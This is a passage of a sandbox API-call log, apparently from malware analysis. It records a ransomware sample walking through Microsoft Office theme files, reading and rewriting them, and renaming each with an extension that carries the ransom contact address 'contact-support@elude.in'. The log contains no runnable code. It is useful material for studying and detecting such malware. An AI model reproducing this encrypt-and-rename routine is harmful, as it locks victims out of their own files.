lpNumberOfBytesRead=0x41fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0249.400] GetProcessHeap () returned 0x630000 [0249.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0249.400] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.401] WriteFile (in: hFile=0x5ec, lpBuffer=0x6dc2a8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesWritten=0x41fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0249.401] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.401] WriteFile (in: hFile=0x5ec, lpBuffer=0x6dc447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc447*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.401] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.401] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.401] CloseHandle (hObject=0x5ec) returned 1 [0249.401] GetProcessHeap () returned 0x630000 [0249.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0249.401] GetProcessHeap () returned 0x630000 [0249.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc658 | out: hHeap=0x630000) returned 1 [0249.401] GetProcessHeap () returned 0x630000 [0249.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0249.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a9952ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x41ffd20, dwReserved1=0x6dc658, cFileName="WATER.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERI~1.FIR")) returned 0x6d51c0 [0249.402] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0249.402] Sleep (dwMilliseconds=0x1) [0254.749] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG") returned 1 [0254.750] GetProcessHeap () returned 0x630000 [0254.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d78) returned 0x6fe3bb0 [0254.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0254.750] CloseHandle (hObject=0x40c) returned 1 [0254.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0254.962] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0254.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0254.962] GetProcessHeap () returned 0x630000 [0254.962] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4181) returned 0x745c8a0 [0254.962] GetProcessHeap () returned 0x630000 [0254.962] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4181) returned 0x7453008 [0254.963] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.963] ReadFile (in: hFile=0x40c, lpBuffer=0x745c8a0, nNumberOfBytesToRead=0x4160, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745c8a0*, lpNumberOfBytesRead=0x41fff0c*=0x4160, lpOverlapped=0x0) returned 1 [0256.149] GetProcessHeap () returned 0x630000 [0256.149] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0256.150] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.150] WriteFile (in: hFile=0x40c, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x41fff0c*=0x4160, lpOverlapped=0x0) returned 1 [0256.150] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.150] WriteFile (in: hFile=0x40c, lpBuffer=0x7457167*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7457167*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0256.150] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.150] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0256.151] CloseHandle (hObject=0x40c) returned 1 [0256.151] GetProcessHeap () returned 0x630000 [0256.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0256.151] GetProcessHeap () returned 0x630000 [0256.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c8a0 | out: hHeap=0x630000) returned 1 [0256.151] GetProcessHeap () returned 0x630000 [0256.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0256.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0256.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ea136b0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4186, dwReserved0=0xb307496, dwReserved1=0x745c898, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d53c0 [0256.152] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0256.152] Sleep (dwMilliseconds=0x1) [0257.104] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF", len=0x70 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF") returned 1 [0257.104] GetProcessHeap () returned 0x630000 [0257.104] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd8) returned 0x6fe3bb0 [0257.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.380] CloseHandle (hObject=0x4e8) returned 1 [0257.380] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="EXPEDITN.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXPEDI~2.FIR")) returned 0x6d4e00 [0257.382] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0257.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\expeditn.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.382] GetProcessHeap () returned 0x630000 [0257.383] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0257.383] GetProcessHeap () returned 0x630000 [0257.383] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0257.383] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.383] ReadFile (in: hFile=0x4e8, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x41fff0c*=0x240, lpOverlapped=0x0) returned 1 [0257.386] GetProcessHeap () returned 0x630000 [0257.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0257.387] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.387] WriteFile (in: hFile=0x4e8, lpBuffer=0x6d72c8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesWritten=0x41fff0c*=0x240, lpOverlapped=0x0) returned 1 [0257.387] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.387] WriteFile (in: hFile=0x4e8, lpBuffer=0x6d7507*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7507*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.387] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.387] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.387] CloseHandle (hObject=0x4e8) returned 1 [0257.388] GetProcessHeap () returned 0x630000 [0257.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0257.388] GetProcessHeap () returned 0x630000 [0257.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0257.388] GetProcessHeap () returned 0x630000 [0257.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0257.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\EXPEDITN.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f5d8992, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x41ffd20, dwReserved1=0x6d6db8, cFileName="EXPEDITN.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXPEDI~2.FIR")) returned 0x6d5440 [0257.388] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0257.388] Sleep (dwMilliseconds=0x1) [0257.431] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF", len=0x70 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF") returned 1 [0257.431] GetProcessHeap () returned 0x630000 [0257.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc8) returned 0x6fe3bb0 [0257.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.432] CloseHandle (hObject=0x4e8) returned 1 [0257.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="EVRGREEN.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EVRGRE~1.FIR")) returned 0x6d5340 [0257.435] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0257.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.435] GetProcessHeap () returned 0x630000 [0257.435] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6657e8 [0257.435] GetProcessHeap () returned 0x630000 [0257.435] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665a50 [0257.435] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.435] ReadFile (in: hFile=0x4e8, lpBuffer=0x6657e8, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6657e8*, lpNumberOfBytesRead=0x41fff0c*=0x220, lpOverlapped=0x0) returned 1 [0257.439] GetProcessHeap () returned 0x630000 [0257.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0257.439] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.439] WriteFile (in: hFile=0x4e8, lpBuffer=0x665a50*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a50*, lpNumberOfBytesWritten=0x41fff0c*=0x220, lpOverlapped=0x0) returned 1 [0257.439] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.439] WriteFile (in: hFile=0x4e8, lpBuffer=0x665c6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665c6f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.439] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.439] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.439] CloseHandle (hObject=0x4e8) returned 1 [0257.439] GetProcessHeap () returned 0x630000 [0257.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a50 | out: hHeap=0x630000) returned 1 [0257.439] GetProcessHeap () returned 0x630000 [0257.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6657e8 | out: hHeap=0x630000) returned 1 [0257.439] GetProcessHeap () returned 0x630000 [0257.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0257.439] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f64b365, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x247, dwReserved0=0x41ffd20, dwReserved1=0x6657e8, cFileName="EVRGREEN.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EVRGRE~1.FIR")) returned 0x6d5340 [0257.440] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0257.440] Sleep (dwMilliseconds=0x1) [0257.469] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM", len=0x70 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM") returned 1 [0257.469] GetProcessHeap () returned 0x630000 [0257.469] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc4) returned 0x6fe3bb0 [0257.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 